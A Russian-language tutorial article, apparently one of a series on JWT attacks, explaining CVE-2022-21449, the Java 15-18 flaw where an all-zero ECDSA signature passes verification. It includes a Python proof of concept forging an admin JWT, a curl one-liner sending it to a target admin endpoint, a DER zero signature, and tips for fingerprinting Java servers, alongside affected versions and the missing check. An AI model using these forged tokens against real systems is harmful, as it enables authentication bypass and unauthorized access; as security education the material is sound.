Содержание:
- ECDSA в одном абзаце
- Что произошло: CVE-2022-21449
- Почему r=0, s=0 ломает математику
- PoC: подделка JWT за 5 строк
- Bash one-liner для тестирования
- Что затронуто
- Как определить Java на сервере
- Уязвимые версии
- Что дальше
Мы ломали HMAC брутфорсом (статья 7), RSA через algorithm confusion (статья 4). Теперь ECDSA.
Апрель 2022 года. Neil Madden из ForgeRock обнаруживает, что подпись из одних нулей проходит ECDSA-верификацию на Java 15-18. Для любого сообщения. С любым ключом. Хочешь быть admin? Подписывай нулями. TLS? Нулями. SAML? Нулями.
ECDSA в одном абзаце
ECDSA (Elliptic Curve Digital Signature Algorithm) - алгоритм цифровой подписи на эллиптических кривых. В JWT он используется под именами ES256, ES384, ES512. Подпись ECDSA - это пара чисел (r, s). При подписании используется случайный одноразовый номер k (nonce - number used once): из k вычисляется r (координата точки на кривой), а s вычисляется через формулу, связывающую k, хеш сообщения, r и приватный ключ. При верификации из r, s, хеша сообщения и публичного ключа вычисляется точка на кривой, и ее x-координата сравнивается с r. Если совпала - подпись валидна.
Ключевое: и r, и s должны быть числами от 1 и выше. Ноль недопустим. Именно эту проверку забыли в Java.
Что произошло: CVE-2022-21449
В Java 15 реализацию ECDSA переписали с нативного C-кода (который работал корректно и включал все необходимые проверки) на чистую Java. При переписывании потеряли проверку r >= 1 && s >= 1. Такая строчка была в C-коде, но не попала в Java-версию.
Почему r=0, s=0 ломает математику
Представь аналогию: у тебя есть уравнение проверки, в которое подставляются r и s. Когда оба равны нулю, все промежуточные вычисления коллапсируют. В ECDSA верификация включает деление на s (вычисление обратного элемента s по модулю порядка группы). Когда s = 0, обратный элемент не существует - но Java-реализация не проверяла этот случай и продолжала вычисления с нулями.
Технически: вычисляются точки u1*G + u2*Q, где u1 и u2 зависят от s^(-1). При s = 0 операция s^(-1) должна вызвать ошибку, но вместо этого дает 0. Тогда u1 = 0 и u2 = 0, точка вычисляется как 0*G + 0*Q = O (точка бесконечности), а ее x-координата определяется как 0. Проверка: 0 == r, где r = 0. True. Подпись принята.
Если провести аналогию - это как замок, в котором код 0000 принимается как правильный, потому что механизм проверки перемножает цифры кода: 0 * 0 * 0 * 0 = 0, и сравнивает с секретным значением, которое тоже вычислилось в 0 из-за той же ошибки.
PoC: подделка JWT за 5 строк
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64url(json.dumps({"alg":"ES256","typ":"JWT"}).encode())
payload = b64url(json.dumps({"sub":"admin","role":"superuser","exp":1999999999}).encode())
# Подпись ES256 в P1363 формате: 64 нулевых байта (32 для r + 32 для s)
sig = b64url(b'\x00' * 64)
print(f"{header}.{payload}.{sig}")
Для ES384: 96 нулевых байт (48+48). Для ES512: 132 нуля (66+66). Размер зависит от кривой: P-256 использует 32-байтные числа, P-384 - 48-байтные, P-521 - 66-байтные.
В DER-формате (используется в TLS, SAML, X.509) нулевая подпись выглядит как: MAYCAQACAQA= - это base64 от 30 06 02 01 00 02 01 00 (ASN.1 SEQUENCE из двух INTEGER со значением 0).
Bash one-liner для тестирования
TOKEN=$(python3 -c "
import base64,json
def b(d):return base64.urlsafe_b64encode(d).rstrip(b'=').decode()
h=b(json.dumps({'alg':'ES256','typ':'JWT'}).encode())
p=b(json.dumps({'sub':'admin'}).encode())
print(f'{h}.{p}.{b(b\"\x00\"*64)}')
")
curl -H "Authorization: Bearer $TOKEN" https://target/api/admin
Если ответ 200 вместо 401 - сервер работает на уязвимой Java.
Что затронуто
CVE-2022-21449 ломает все, что использует ECDSA-верификацию на Java 15-18:
- JWT (ES256/ES384/ES512) - подделка любых токенов. Наш основной сценарий.
- TLS 1.3 handshake - если сервер использует ECDSA-сертификат, MITM может подделать handshake нулевой подписью. Перехват всего трафика.
- SAML assertions - подделка SSO-аутентификации. Вход в корпоративные системы без пароля.
- WebAuthn/FIDO2 - обход аппаратных ключей безопасности (YubiKey и т.д.).
- OIDC ID tokens - подделка identity в OpenID Connect.
- Code signing - подпись произвольного кода.
Одна пропущенная проверка - и вся криптографическая инфраструктура Java рассыпается.
Как определить Java на сервере
Прежде чем слать нулевую подпись, нужно убедиться, что сервер работает на Java. Признаки:
- Cookie
JSESSIONIDили заголовокX-Powered-By: Servlet/4.0 - Stack traces с
java.lang.,javax., Spring, Tomcat - Endpoint
/actuator/health(Spring Boot) - если отвечает JSON с информацией о приложении - Заголовки
X-Application-Context,X-Spring-* - Формат ошибок: Tomcat выдает характерные HTML-страницы с версией
Определил Java 15-18? Проверяй нулевую подпись.
Уязвимые версии
- Java SE 15 (все версии)
- Java SE 16 (все версии)
- Java SE 17 (до 17.0.3)
- Java SE 18 (до 18.0.1)
Java 11 и ниже не затронуты - там осталась нативная C-реализация с корректной проверкой. Java 17.0.3+ и 18.0.1+ исправлены.
Одна строчка if (r.signum() < 1 || s.signum() < 1) return false защищает всю криптографию. Java-разработчики потеряли ее при переписывании на 14 месяцев. За эти 14 месяцев каждый Java-сервис, использующий ECDSA, был уязвим к подделке подписи.
Что дальше
В статьях 3-8 мы разобрали все основные атаки на JWT: alg:none, algorithm confusion, kid injection, jku/x5u/jwk/x5c, брутфорс, psychic signatures. Мы знаем как атаковать. В следующей статье давай поймем почему эти атаки работают - разберем криптографию JWT: HMAC, RSA, ECDSA. Зачем в HMAC два прохода, чем PS256 лучше RS256, и как Sony потеряла приватный ключ PlayStation 3 из-за повторного nonce.